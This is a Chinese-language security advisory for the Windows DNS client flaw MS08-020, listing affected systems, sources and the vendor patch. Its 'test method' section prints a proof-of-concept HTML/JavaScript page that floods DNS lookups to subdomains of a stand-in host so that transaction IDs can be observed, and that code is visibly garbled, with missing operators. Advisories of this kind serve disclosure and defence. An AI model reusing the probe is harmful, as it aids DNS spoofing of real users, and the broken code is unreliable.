Microsoft Windows DNS客户端可预测事件处理ID漏洞(MS08-020)

受影响系统:
    Microsoft Windows XP SP2
    Microsoft Windows Vista
    Microsoft Windows Server 2003 SP2
    Microsoft Windows Server 2003 SP1
    Microsoft Windows 2000SP4
    描述:
    --------------------------------------------------------------------------------
    BUGTRAQ ID: 28553
    CVE(CAN) ID: CVE-2008-1085
    Microsoft Windows是微软发布的非常流行的操作系统。
    Windows DNS客户端服务在执行DNS查询时,随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的DNS请求返回恶意响应,欺骗或重新定向合法位置的Internet通讯。
    <*来源:Amit Klein (Amit.Klein@SanctumInc.com)
    链接:http://secunia.com/advisories/29696/
     http://marc.info/?l=bugtraq&m=120767868524748&w=2
     /uploads/202404/24/trusteer2227
     http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true
     http://www.us-cert.gov/cas/techalerts/TA08-099A.html
    *>
    测试方法:
    --------------------------------------------------------------------------------
    警 告
    以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
    <html>
    <body>
    <script>
    var max_n=20;
    var n=0;
    var x=new Image();
    x.onerror=loadnext;
    x.onload=loadnext;
    function loadnext()
    {
    if (n<max_n)
    {
    n ;
    x.src="http://t-" (new Date()).getTime()
    "-" n ".domain.site/";
    }
    }
    loadnext();
    </script>
    </body>
    </html>
    建议:
    --------------------------------------------------------------------------------
    厂商补丁:
    Microsoft
    ---------
    Microsoft已经为此发布了一个安全公告(MS08-020)以及相应补丁:
    MS08-020:Vulnerability in DNS Client Could Allow Spoofing (945553)
    链接:http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true